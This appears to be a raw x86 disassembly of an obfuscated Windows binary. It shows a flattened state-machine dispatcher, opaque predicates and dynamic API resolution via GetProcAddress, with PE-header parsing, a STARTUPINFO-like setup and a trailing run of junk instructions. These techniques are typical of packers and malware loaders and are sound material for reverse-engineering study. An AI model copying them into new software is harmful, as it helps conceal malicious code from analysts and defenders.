and eax, 0xc62b4649
or eax, esi
mov esi, eax
not esi
mov edi, eax
or eax, edx
and edx, 0xc2853e08
and edi, 0xc2853e08
and esi, 0x3d7ac1f7
or ecx, edx
not eax
or esi, edi
xor ecx, esi
mov esi, 0x4b8efd8b
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xd3d0873
and ecx, 0xf2c2f78c
or eax, ecx
xor eax, 0xd3d0873
setne dl
sete cl
cmp dword [0x497380], 0xa
mov eax, edx
setl ah
setge ch
inc al
and dl, ah
or ah, al
and al, ch
and cl, ch
xor ah, 1
or al, dl
or cl, dl
or al, ah
xor al, cl
and cl, al
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0x69d597aa
cmovne eax, esi
test cl, cl
mov ecx, 0x69d597aa
cmove eax, esi
test dl, 1
cmove eax, ecx
jmp 0x402780
cmp eax, 0x5ad12ed4
je 0x40e087
cmp eax, 0x5bcec549
je 0x40e0a0
cmp eax, 0x5c79aa04
jne 0x402780
mov eax, 0xabff2707
jmp 0x402780
cmp eax, 0x81986a91
je 0x40e0ba
cmp eax, 0x8266f1f0
je 0x40e246
cmp eax, 0x8278fd5d
jne 0x402780
mov eax, 0x4996f896
jmp 0x402780
cmp eax, 0xfc416ad0
je 0x40e351
cmp eax, 0xfc784b12
je 0x40e4be
cmp eax, 0xfd2c488a
jne 0x402780
mov eax, dword [ebp - 0x78]
mov eax, 0xfeee52a2
jmp 0x402780
cmp eax, 0xbb12b5c7
je 0x40e4c8
cmp eax, 0xbb14454f
je 0x40e5b1
cmp eax, 0xbb803870
jne 0x402780
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x50]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x58]
add eax, 8
mov dword [ecx], eax
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x6c]
mov dword [eax], 0
mov eax, 0x7dd75327
jmp 0x402780
cmp eax, 0x46b2678a
je 0x40e5c4
cmp eax, 0x46f86ab1
je 0x40e5d9
cmp eax, 0x478227bf
jne 0x402780
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x80]
mov dword [ecx], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x80]
mov ecx, dword [ecx]
add eax, dword [ecx + 0x3c]
mov ecx, dword [ebp - 0x14]
mov dword [ecx], eax
mov eax, dword [ebp - 0x14]
mov eax, 0x52f5b7bf
jmp 0x402780
cmp eax, 0xa05cc3d8
je 0x40e732
cmp eax, 0xa1088324
je 0x40e73f
cmp eax, 0xa1651477
jne 0x402780
mov ecx, dword [0x497384]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x8ef19d78
and eax, 0x48028002
mov edx, ecx
and edx, 0x710e6287
or ecx, 0x83346060
or esi, edx
and ecx, 0xa3bc6670
mov edx, esi
xor esi, 0x1046000
xor edx, 0x4411908
or eax, ecx
or esi, 0x20880610
and edx, 0x1441198d
and esi, 0xa3bc6670
or edx, esi
xor eax, edx
mov ecx, eax
not ecx
and eax, 0xaf1603b1
and ecx, 0x50e9fc4e
or eax, ecx
mov esi, eax
mov ecx, eax
xor ecx, 0x449c04a2
xor esi, 0x38637a5c
xor eax, 0xa19f4a54
and eax, esi
and ecx, 0x749f16ee
and esi, 0x8b60e911
or esi, ecx
mov ecx, esi
xor ecx, 0x8b60e911
xor esi, 0x14051062
mov edx, ecx
and edx, 0x99fc3008
or ecx, 1
and esi, 0x9e651172
or edx, eax
not eax
and ecx, 0x619aee8d
or ecx, esi
and eax, 0x6603cff6
and edx, 0x99fc3009
mov esi, 0x8299c4fa
or edx, eax
xor ecx, 0x619aee8d
or ecx, edx
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x54880282
and ecx, 0x2359d65
and eax, 0xa9426018
or edx, eax
xor edx, 0x54880282
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xd46328b9
and eax, 0x2b9cd746
or ecx, eax
xor ecx, 0x29a94a23
sete cl
setne ch
cmp dword [0x497380], 0xa
setge ah
setl dl
mov al, ah
xor al, ch
or ch, dl
and al, dl
or dl, cl
xor cl, ah
mov ah, cl
or cl, dl
xor al, 1
mov dh, al
or al, ch
xor ah, dl
xor cl, 1
or cl, ah
xor dh, ch
xor al, 1
mov dl, cl
or al, dh
mov ah, cl
and ah, al
xor dl, 1
xor al, 1
and dl, al
or al, cl
or dl, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xa9acf239
cmovne ecx, esi
test al, 1
mov eax, 0xa9acf239
jmp 0x4120c2
cmp eax, 0x1ce1df47
je 0x40e74f
cmp eax, 0x1ddaced8
je 0x40e762
cmp eax, 0x1e07e214
jne 0x402780
mov eax, 0xebdb5503
jmp 0x402780
cmp eax, 0xe4a1df4b
je 0x40e77b
cmp eax, 0xe5308c7a
je 0x40e785
cmp eax, 0xe596edcd
jne 0x402780
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x20]
inc eax
mov dword [ecx], eax
mov eax, dword [0x497384]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov esi, ecx
andn eax, ecx, ecx
and esi, 0x751bc6d7
and edx, 0x8ae43928
or edx, esi
mov esi, eax
not esi
and eax, 0x8ae43928
or ecx, esi
and esi, 0x751bc6d7
or eax, esi
not ecx
xor eax, edx
or ecx, eax
mov edx, ecx
xor edx, 1
mov eax, ecx
not eax
and edx, ecx
and eax, 0xbd395c63
and ecx, 0x42c6a39c
or ecx, eax
mov eax, edx
not eax
and edx, 0x9b3e74d1
mov esi, eax
and esi, 0x64c18b2e
or edx, esi
mov esi, ecx
xor esi, 0x2062091
xor ecx, 0xbd395c62
or eax, ecx
and ecx, 0x64c18b2e
and esi, 0x9b3e74d1
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov esi, eax
or esi, 0x14a42381
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0xcb5ad428
and ecx, eax
and esi, 0x96fee381
and edx, 0x49001428
or edx, esi
mov esi, ecx
not esi
and ecx, 0x69011c7e
or eax, esi
and esi, 0x96fee381
or ecx, esi
not eax
mov esi, 0xf1735fcc
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0x34a52bd7
and eax, 0xcb5ad428
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x3e781676
mov edx, ecx
and edx, 0xc187e989
or eax, edx
xor eax, 0xc187e989
xor ecx, eax
test ecx, eax
setne ah
sete cl
cmp dword [0x497380], 0xa
setge dl
setl al
mov ch, dl
xor al, cl
and cl, dl
inc ch
and ch, ah
or cl, ch
mov ch, dl
or dl, ah
xor ch, ah
xor dl, 1
xor cl, 1
or dl, ch
mov ah, cl
or cl, dl
xor ah, dl
mov edx, eax
xor cl, 1
xor dl, 1
or cl, ah
mov ah, cl
and cl, al
xor ah, 1
and dl, ah
or dl, cl
mov ecx, eax
xor cl, ah
or ah, al
xor ah, 1
or ah, cl
mov ecx, 0x1274a1e7
mov al, ah
xor al, dl
test ah, 1
cmovne ecx, esi
test dl, dl
cmove ecx, esi
test al, 1
mov eax, 0x1274a1e7
jmp 0x402777
cmp eax, 0x713c79e7
je 0x40e8aa
cmp eax, 0x7208dbbf
je 0x40e98c
cmp eax, 0x73534959
jne 0x402780
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
mov dword [ebp - 0x148], eax
mov eax, 0xd829d43a
jmp 0x402780
cmp eax, 0x8da3feb6
je 0x40eabb
cmp eax, 0x8e9a0726
je 0x40eb61
cmp eax, 0x8f0fe5df
jne 0x402780
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x81897eec
mov edi, eax
or edi, 0x6010e77
and eax, 0xb0284e69
mov esi, ecx
and esi, 0x7e768113
and edi, 0x46010e77
and ecx, 0x4fd7b196
or edx, esi
or eax, ecx
mov esi, edx
xor esi, 0x81887088
xor edx, 0x6000013
xor eax, 0xb0284e69
and edx, 0x6010e77
and esi, 0xb9fef188
or esi, edx
xor edi, esi
mov esi, edi
not esi
and edi, 0xf1fa9cf
and esi, 0xf0e05630
or edi, esi
xor edi, 0xf1fa9cf
or eax, edi
mov ecx, eax
not ecx
and eax, 0x556c67e
and ecx, 0xfaa93981
or eax, ecx
cmp eax, 0x556c67e
mov eax, 0xc9df20da
jmp 0x40e5a4
cmp eax, 0xee5c417
je 0x40ebf4
cmp eax, 0xf0ae6f3
je 0x40ed58
cmp eax, 0xf133e0c
jne 0x402780
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x30]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x38]
mov edx, dword [edx]
lea edx, [edx + edx*4]
add eax, dword [ecx + edx*8 + 0xc]
mov dword [ebp - 0x178], eax
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x30]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x38]
mov edx, dword [edx]
lea edx, [edx + edx*4]
add eax, dword [ecx + edx*8 + 0x14]
mov dword [ebp - 0x17c], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
mov dword [ebp - 0x10c], eax
mov eax, dword [ebp - 0x38]
mov eax, dword [eax]
mov dword [ebp - 0x110], eax
mov eax, 0xc98ad987
jmp 0x402780
cmp eax, 0xce6d46d8
je 0x40ed6d
cmp eax, 0xcf7da15e
je 0x40ee6d
cmp eax, 0xd0614fe7
jne 0x402780
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov eax, dword [eax + 0x80]
add eax, dword [ebp - 0xcc]
mov ecx, dword [ebp - 0x54]
mov dword [ecx], eax
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov dword [eax], 0
mov ecx, dword [0x497384]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x4010834d
and eax, 0x8040012
mov edx, ecx
or edx, 0x33893820
and esi, 0x7399bb6d
and ecx, 0x84624480
and edx, 0x7399bb6d
or ecx, esi
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0xb7eb7ca0
and ecx, 0x4814835f
or eax, ecx
mov edx, eax
xor edx, 1
mov ecx, eax
not ecx
and edx, eax
and ecx, 0xf235c77b
and eax, 0xdca3884
or eax, ecx
mov ecx, edx
not ecx
and edx, 0xe064cc61
mov esi, ecx
and esi, 0x1f9b339e
or edx, esi
mov esi, eax
xor esi, 0x400801
xor eax, 0xf235c77a
or ecx, eax
and eax, 0x1f9b339e
and esi, 0xe064cc61
or esi, eax
not ecx
xor esi, edx
or ecx, esi
mov edx, ecx
xor edx, 0x9a807266
mov eax, ecx
and eax, 0x12ba2292
and edx, ecx
not ecx
and ecx, 0xed45dd6d
or eax, ecx
mov ecx, eax
xor eax, 0x88005064
xor ecx, 0x800002
mov esi, eax
or esi, 0x65460900
and ecx, 0x800046
and esi, 0xff467b20
or ecx, esi
mov esi, edx
not esi
and edx, 0xb984df
or eax, esi
and esi, 0xff467b20
or edx, esi
not eax
mov esi, 0xdb1cf4eb
xor edx, ecx
or eax, edx
not edx
and edx, 0x657f8d99
and eax, 0x9a807266
or eax, edx
mov ecx, eax
not ecx
and eax, 0x9b59ea5b
mov edx, ecx
and edx, 0x64a615a4
or eax, edx
xor eax, 0x9b59ea5b
or eax, ecx
xor eax, 0xffffffff
setne ah
sete dl
cmp dword [0x497380], 0xa
setge al
setl cl
mov ch, al
xor cl, dl
and dl, al
inc ch
and ch, ah
or dl, ch
mov ch, al
or al, ah
xor ch, ah
xor al, 1
mov ah, cl
or al, ch
xor ah, 1
xor al, 1
or al, dl
mov edx, eax
not dl
and dl, ah
or ah, al
and al, cl
or al, dl
mov cl, ah
mov edx, 0x82f926fb
xor cl, al
test cl, 1
mov ecx, 0xdb1cf4eb
cmovne ecx, edx
test al, al
mov edx, ecx
cmovne edx, esi
test ah, 1
jmp 0x412de5
cmp eax, 0x51bd5c30
je 0x40ee7a
cmp eax, 0x51ebd623
je 0x40ee84
cmp eax, 0x529d914a
jne 0x402780
mov eax, 0x6f186709
jmp 0x402780
cmp eax, 0xae92a595
je 0x40ee8e
cmp eax, 0xaeea2f9f
je 0x40ee98
cmp eax, 0xaef9de34
jne 0x402780
mov eax, 0x2fdb10cc
jmp 0x402780
cmp eax, 0x2fc64271
je 0x40efc4
cmp eax, 0x2fdb10cc
je 0x40efd7
cmp eax, 0x303cb2f8
jne 0x402780
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
add eax, 6
mov dword [ebp - 0x108], eax
mov eax, 0x57b71e6d
jmp 0x402780
cmp eax, 0xeec2889e
je 0x40f151
cmp eax, 0xf0232eca
je 0x40f207
cmp eax, 0xf02ee632
jne 0x402780
push dword [ebp - 0x180]
push dword [ebp - 0x17c]
push dword [ebp - 0x178]
vzeroupper
call fcn.00436b30
add esp, 0xc
mov eax, 0xfc416ad0
jmp 0x402780
cmp eax, 0x659b461a
je 0x40f380
cmp eax, 0x66bb1179
je 0x40f38a
cmp eax, 0x69d597aa
jne 0x402780
mov eax, 0xf02ee632
jmp 0x402780
cmp eax, 0x88a9f7fe
je 0x40f3ac
cmp eax, 0x88d62e9a
je 0x40f3b6
cmp eax, 0x89475051
jne 0x402780
mov eax, 0x92c712f8
jmp 0x402780
cmp eax, 0x59549df
je 0x40f3cf
cmp eax, 0x68415f4
je 0x40f469
cmp eax, 0x6d63d28
jne 0x402780
mov eax, 0x8e9a0726
jmp 0x402780
cmp eax, 0xc445a4a4
je 0x40f480
cmp eax, 0xc4dc1320
je 0x40f4b0
cmp eax, 0xc55d6421
jne 0x402780
mov eax, dword [ebp - 0x108]
mov eax, dword [ebp - 0x104]
mov eax, 0x5072edcd
jmp 0x402780
cmp eax, 0x4bf6466b
je 0x40f4c0
cmp eax, 0x4d01f6af
je 0x40f697
cmp eax, 0x4d18ce07
jne 0x402780
mov eax, dword [ebp - 0xa0]
vxorps xmm0, xmm0, xmm0
vmovups xmmword [eax], xmm0
vxorps xmm0, xmm0, xmm0
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0x64]
vmovups ymmword [eax + 0x20], ymm0
vmovups ymmword [eax], ymm0
mov dword [eax + 0x40], 0
mov eax, dword [ebp - 0x64]
mov dword [eax], 0x44
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x34]
vmovsd xmm0, qword [eax + 0xa0]
vmovsd qword [ecx], xmm0
mov eax, dword [ebp - 0x18]
mov eax, 0x3fb7abcc
jmp 0x402780
cmp eax, 0xa8d1586c
je 0x40f6a1
cmp eax, 0xa9acf239
je 0x40f6b4
cmp eax, 0xa9e24ef7
jne 0x402780
mov eax, dword [0x497384]
mov edi, 0x509da569
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0x3d27d23f
mov eax, edx
and eax, 0x7072347c
and ecx, edx
not edx
and edx, 0x8f8dcb83
or eax, edx
mov edx, eax
xor eax, 0xd05c203
xor edx, 0x30200030
or eax, 0xc2d82dc0
and edx, 0x38244030
mov esi, eax
and esi, 0xc503960f
or edx, esi
mov esi, ecx
not esi
and ecx, 0x3afc69f0
or eax, esi
and esi, 0xc503960f
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x52803442
and ecx, 0xad7fcbbd
or eax, ecx
mov edx, eax
xor edx, 0x6fa7e67d
xor eax, 0x90581982
mov ecx, eax
mov esi, edx
or ecx, 1
and eax, 0xfffffffe
and esi, 1
and edx, 0x199b922a
or esi, eax
mov eax, ecx
and eax, 0xe6646dd5
or edx, eax
mov eax, esi
not eax
and esi, 0x199b922a
or ecx, eax
and eax, 0xe6646dd5
or esi, eax
not ecx
xor esi, edx
or ecx, esi
mov esi, 0xe900ae25
xor ecx, 0xffffffff
setne dl
sete al
cmp dword [0x497380], 0xa
setl cl
setge ah
or cl, al
xor dl, ah
xor al, ah
xor cl, 1
mov ah, al
or cl, dl
not ah
mov edx, ecx
not dl
and dl, al
or al, cl
and cl, ah
or cl, dl
mov dh, al
xor dh, cl
test cl, cl
mov ecx, 0x509da569
cmovne ecx, esi
test al, al
cmovne ecx, edi
test dh, dh
jmp 0x411f32
cmp eax, 0x2492e841
je 0x40f7ae
cmp eax, 0x24c0311c
je 0x40f7b8
cmp eax, 0x2575d66c
jne 0x402780
mov ecx, dword [0x497384]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xd868d583
and ecx, 0x23150838
or edx, ecx
mov ecx, eax
and ecx, 0x4822244
xor edx, 0xd868d583
or ecx, edx
mov edx, ecx
not edx
and ecx, 0x28acd98c
and edx, 0xd7532673
or ecx, edx
mov edx, ecx
xor edx, 0xd3d10436
xor ecx, 0x2c2efbc9
andn esi, eax, ecx
and edx, eax
or edx, esi
mov esi, 0xa644ecc9
not edx
or edx, ecx
xor edx, 0xffffffff
setne al
sete dl
cmp dword [0x497380], 0xa
setl cl
setge ah
and ah, dl
and al, cl
or al, ah
mov ah, dl
xor ah, cl
or cl, dl
xor al, 1
xor ah, 1
mov dl, ah
xor dl, cl
or cl, ah
xor cl, 1
or cl, dl
mov ah, cl
mov edx, ecx
xor ah, 1
and dl, ah
xor dl, 1
or dl, ah
xor dl, 1
or dl, cl
xor dl, al
or al, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x585551fa
cmovne ecx, esi
test al, 1
mov eax, 0x585551fa
jmp 0x4120c2
cmp eax, 0xe9aa2f24
je 0x40f827
cmp eax, 0xea02f0cf
je 0x40f848
cmp eax, 0xea2f8bc0
jne 0x402780
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x70]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x40]
mov edx, dword [edx]
add eax, dword [ecx + edx*4]
mov ecx, dword [ebp - 0x84]
mov dword [ecx], eax
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x70]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x40]
mov ecx, dword [ecx]
mov ecx, dword [eax + ecx*4]
mov eax, ecx
not eax
mov esi, ecx
and esi, 0x42088e20
and ecx, 0x50151d6
mov edx, eax
and edx, 0x88360000
or eax, 0x42108020
or esi, edx
and eax, 0x72d0a029
mov edx, esi
xor edx, 0x80e00
xor esi, 0x30d02009
or ecx, eax
and esi, 0x72d0a029
and edx, 0x882e0e00
or edx, esi
xor ecx, edx
mov eax, ecx
not eax
and ecx, 0x186960af
and eax, 0xe7969f50
or ecx, eax
mov eax, ecx
xor ecx, 0xc000160
xor eax, 0xd257ee8f
mov edx, eax
and ecx, 0xdc0185e5
and edx, 0x23fe7a1a
and eax, 0xd91713a
or edx, ecx
mov ecx, edx
mov esi, edx
xor ecx, 0x23fe7a1a
xor esi, 0x2e6f0b20
xor edx, 0x88008580
and esi, ecx
and edx, 0x8a588f9a
or eax, esi
mov esi, eax
not esi
and eax, 0xf26e713a
and esi, 0xd918ec5
or eax, esi
movzx esi, cx
and ecx, 0x75a77065
or ecx, edx
xor ecx, 0x8a587065
or esi, ecx
mov ecx, esi
not ecx
and esi, 0x9e8c9e4f
and ecx, 0x617361b0
or esi, ecx
mov ecx, eax
not ecx
and eax, 0x19aff668
mov edx, esi
xor edx, 0x188c9648
xor esi, 0x617361b0
mov edi, ecx
and edi, 0xe6500997
or ecx, esi
and esi, 0xe6500997
and edx, 0x19aff668
or eax, edi
or edx, esi
not ecx
xor edx, eax
or ecx, edx
mov eax, ecx
andn edx, ecx, ecx
not ecx
and eax, 0xea7882ac
and ecx, 0x15877d53
or eax, ecx
xor eax, 0xea7882ac
or edx, eax
mov eax, dword [ebp - 0x5c]
push edx
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x44]
mov dword [ecx], eax
mov eax, dword [ebp - 0x44]
cmp dword [eax], 0
mov eax, dword [0x497384]
lea ecx, [eax + 1]
setne byte [ebp - 0x94]
imul ecx, eax
andn eax, ecx, ecx
mov edx, ecx
not edx
mov edi, ecx
and edi, 0xca58425a
mov esi, eax
not esi
and edx, 0x35a7bda5
and eax, 0x35a7bda5
or ecx, esi
and esi, 0xca58425a
or edx, edi
or eax, esi
not ecx
xor eax, edx
or ecx, eax
mov eax, ecx
not eax
mov edx, ecx
or edx, 0x88000c4
mov esi, eax
or esi, 0x161c881a
mov edi, eax
and edx, 0x1e9c88de
and edi, 0xa1621720
or edi, edx
mov edx, ecx
and esi, 0x1e9c88de
and edx, 0x40016001
and ecx, 0xe8009a0c
or edx, esi
xor edx, edi
mov edi, 0x6a8c2296
mov esi, edx
not esi
and edx, 0xeb03d180
and esi, 0x14fc2e7f
or edx, esi
mov esi, eax
and esi, 0x17ff65f3
and eax, 1
or esi, ecx
xor edx, 0x5c7d4ebb
mov ecx, esi
xor ecx, 0xa8000001
xor esi, 0x168000d0
or eax, ecx
and esi, 0x56809adc
and eax, 0xa97f6523
or eax, esi
xor eax, 0xa97f6523
or eax, edx
mov ecx, eax
andn edx, eax, eax
not eax
and ecx, 0x49ddbc5b
and eax, 0xb62243a4
or ecx, eax
mov eax, ecx
xor eax, 0xd52c0a
xor ecx, 0xb62243a4
mov esi, ecx
and esi, 0x6d08d371
and eax, 0x92f72c8e
or eax, esi
mov esi, edx
not esi
and edx, 0x92f72c8e
or ecx, esi
and esi, 0x6d08d371
or edx, esi
not ecx
mov esi, 0xa8a3af8f
xor edx, eax
or ecx, edx
sete dl
setne cl
cmp dword [0x497380], 0xa
setl al
setge ah
mov ch, al
or al, dl
and ch, cl
inc cl
xor al, 1
and cl, ah
and ah, dl
or ah, ch
or cl, ch
or al, ah
mov edx, ecx
mov ah, al
xor dl, 1
not ah
and ah, dl
or dl, al
and al, cl
or al, ah
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x6a8c2296
jmp 0x4122dd
cmp eax, 0x77eea688
je 0x40f852
cmp eax, 0x78750ee3
je 0x40f85c
cmp eax, 0x7901760f
jne 0x402780
mov eax, dword [ebp - 0x2c]
mov dword [eax], 0
mov eax, 0xb8b0ad4f
jmp 0x402780
cmp eax, 0x9818b70a
je 0x40f872
cmp eax, 0x9966d0c8
je 0x40f87c
cmp eax, 0x99cbd793
jne 0x402780
mov eax, 0x14922977
jmp 0x402780
cmp eax, 0x147a1018
je 0x40f886
cmp eax, 0x14922977
je 0x40f890
cmp eax, 0x149c5602
jne 0x402780
mov eax, 0x2bea38c5
jmp 0x402780
cmp eax, 0xd7c813ee
je 0x40f8a5
cmp eax, 0xd829d43a
je 0x40f8af
cmp eax, 0xd8613393
jne 0x402780
mov eax, dword [0x497384]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
mov edx, ecx
xor edx, 0xfffffffe
not eax
mov esi, eax
and edx, ecx
and esi, 0xfffffffe
and ecx, 0x69388a5c
and eax, 0x96c775a3
or edx, esi
or eax, ecx
mov esi, edx
not esi
and edx, 0x96c775a3
mov edi, esi
and edi, 0x69388a5c
or edx, edi
mov edi, 0xe71b4106
xor eax, edx
xor esi, eax
test esi, eax
mov esi, 0x35f1b325
sete dl
setne ah
cmp dword [0x497380], 0xa
setl cl
setge al
and dl, al
or al, ah
and cl, ah
xor al, 1
or cl, dl
xor cl, al
mov edx, ecx
xor dl, 1
and al, dl
xor dl, al
mov edx, 0xe71b4106
cmovne edx, esi
test cl, cl
mov ecx, edx
cmovne ecx, edi
jmp 0x40f374
cmp eax, 0x56f8b4c6
je 0x40f96c
cmp eax, 0x57b71e6d
je 0x40fb46
cmp eax, 0x57f06620
jne 0x402780
mov eax, dword [ebp - 0xfc]
mov eax, 0xab726906
jmp 0x402780
cmp eax, 0xb5d2bff0
je 0x40fca1
cmp eax, 0xb5f3bc0b
je 0x4026c4
cmp eax, 0xb73bbbc2
jne 0x402780
mov eax, dword [ebp - 0x3c]
mov eax, dword [0x497384]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0x24d48392
mov ecx, edx
and ecx, 0x8e7d04a8
and eax, edx
not edx
and edx, 0x7182fb57
or ecx, edx
mov edx, ecx
xor ecx, 0x20808312
xor edx, 0x4500080
or ecx, 0xdb2b7c6d
and edx, 0x24508292
mov esi, ecx
and esi, 0x598d4149
or edx, esi
mov esi, eax
not esi
and eax, 0xa672beb6
or ecx, esi
and esi, 0x598d4149
or eax, esi
not ecx
xor eax, edx
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x6905cfa9
and eax, 0x96fa3056
or ecx, eax
mov eax, ecx
xor ecx, 0x800082c0
xor eax, 0x4dd14c3b
mov edx, eax
and ecx, 0x84c086e8
and eax, 0x7b3f7917
and edx, 0xfffffffe
or eax, ecx
xor eax, 0x7b3f7916
or eax, edx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x5d006088
and eax, 0x80110126
mov edx, ecx
or edx, 0x2aa0211
and esi, 0x5faa6299
and ecx, 0x20449c40
and edx, 0x5faa6299
or ecx, esi
mov esi, 0x2492e841
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0x35d1a0ef
and ecx, 0xca2e5f10
or eax, ecx
mov ecx, eax
xor ecx, 0x53f061e
xor eax, 0xe8c0c141
mov edx, eax
and edx, 0x720038e1
and ecx, 0x8dffc71e
or ecx, edx
xor ecx, 0x720038e1
xor eax, ecx
test eax, ecx
sete al
setne cl
cmp dword [0x497380], 0xa
setl ah
setge dl
xor ah, cl
xor al, dl
mov ch, ah
xor ch, dl
and ch, ah
mov dl, ch
mov ah, ch
xor dl, 1
mov cl, dl
or dl, al
and cl, ch
xor cl, 1
xor ah, cl
or cl, ch
xor cl, 1
or cl, ah
xor cl, al
mov eax, edx
xor al, cl
test al, 1
mov eax, 0xbe737468
cmovne eax, esi
test dl, dl
mov edx, 0xbe737468
cmovne edx, eax
jmp 0x411b15
cmp eax, 0x399d96d7
je 0x40fcae
cmp eax, 0x3af833af
je 0x40fcb8
cmp eax, 0x3bf725be
jne 0x402780
mov eax, dword [0x497384]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
and esi, 0x30804
mov edx, eax
and edx, 0x48845510
and eax, 0x7a7bdfe3
or esi, edx
mov edx, ecx
and edx, 0xb778a2eb
xor esi, 0x30804
or edx, esi
mov esi, edx
not esi
and edx, 0x7c79c3b
and esi, 0xf83863c4
or edx, esi
mov esi, edx
xor edx, 0x303b1ec1
xor esi, 0x4f40c12e
mov edi, esi
or esi, ecx
and ecx, 0x8584201c
and edi, 0x8584201c
and edx, 0x7a7bdfe3
or edx, edi
or eax, ecx
not esi
xor eax, edx
or esi, eax
xor esi, 0xffffffff
sete dl
setne ah
cmp dword [0x497380], 0xa
setl ch
setge al
mov cl, ch
xor dl, al
or ch, ah
xor cl, ah
and dl, al
xor al, ah
not cl
or al, dl
and cl, ah
mov edx, eax
xor cl, 1
xor dl, 1
mov dh, cl
or cl, ch
mov ah, dl
xor dh, ch
mov ch, al
xor cl, 1
and ch, dl
or cl, dh
xor ch, 1
xor ah, ch
or ch, dl
or dl, cl
xor cl, 1
xor ch, 1
xor dl, 1
or ch, ah
xor ch, cl
xor cl, al
mov eax, 0x77564dd6
or dl, cl
mov cl, dl
xor cl, ch
test dl, 1
mov edx, 0x10f902d7
cmovne eax, edx
test ch, 1
cmove eax, edx
test cl, 1
mov edx, 0x77564dd6
cmove eax, edx
jmp 0x402780
cmp eax, 0xf6b45a76
je 0x40fcd1
cmp eax, 0xf6dff79d
je 0x40fe2e
cmp eax, 0xf6f93ffc
jne 0x402780
mov eax, dword [ebp - 0x88]
push 0xffffffffffffffff
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
not edi
not edx
imul ebx
and edx, 0xac
rcl esi, 0xb7
or edi, 0xb5
inc edx
bswap edx
neg edi
bswap ebx
dec esi
dec esi
rcr edi, 0xa1
neg edi
add esi, 0xce
inc edx
dec edx
or eax, 0xcf
neg ebx
neg esi
rol eax, 0xe2
rcl esi, 0xa3
sbb edx, 0xee
neg edx
neg ebx
imul edi
neg eax
sub eax, 0xf6
not edi
dec esi
dec eax
ror edi, 0x75
ror edx, 0xb9
bswap ebx
inc edi
rol edi, 0xbc
sub eax, 0xe8
ror ebx, 0xd2
rcr esi, 0x9f
inc edi
neg edi
sub edi, 0x85
imul edi
dec ebx
ror edx, 0xe7
inc esi
imul edi
sbb edi, 0x54
bswap esi
bswap edx
neg eax
rol edx, 0xaf
mov eax, 3
bswap ebx
or edi, 0x52
inc ebx
and edi, 0x7a
rcl esi, 0x37
or esi, 0xdc
not edx
add esi, 0x57
not esi
not esi
bswap eax
neg edi
sub edi, 0x9a
dec edi
rol edi, 0xd0
ror edx, 1
and ebx, 0x9c
inc edi
rcr edx, 0x38
rcl ebx, 0x5d
bswap ebx
rol edx, 0x75
rcr edx, 0x40
imul eax
inc edx
or ebx, 0x88
ror esi, 0x9e
inc ebx
bswap ebx
sbb eax, 0xef
inc ebx
or eax, 0x12
add ebx, 0x51
bswap edi
inc ebx
rcl esi, 0x66
imul edx
or edi, 0x3e
bswap esi
dec esi
add edx, 0xcd
bswap ebx
rol edx, 0x34
rcr edi, 0xae
sub edi, 0xec
not esi
ror edi, 0x53
inc ebx
imul edi
dec ebx
or eax, 0xc0
sbb eax, 0x91
not ebx
imul ebx
neg esi
rcl esi, 0x1f
bswap edx
rcr ebx, 0xfb
bswap eax
neg esi
inc edi
add eax, 0xdc
not ebx
imul edx
rol ebx, 0
dec ebx
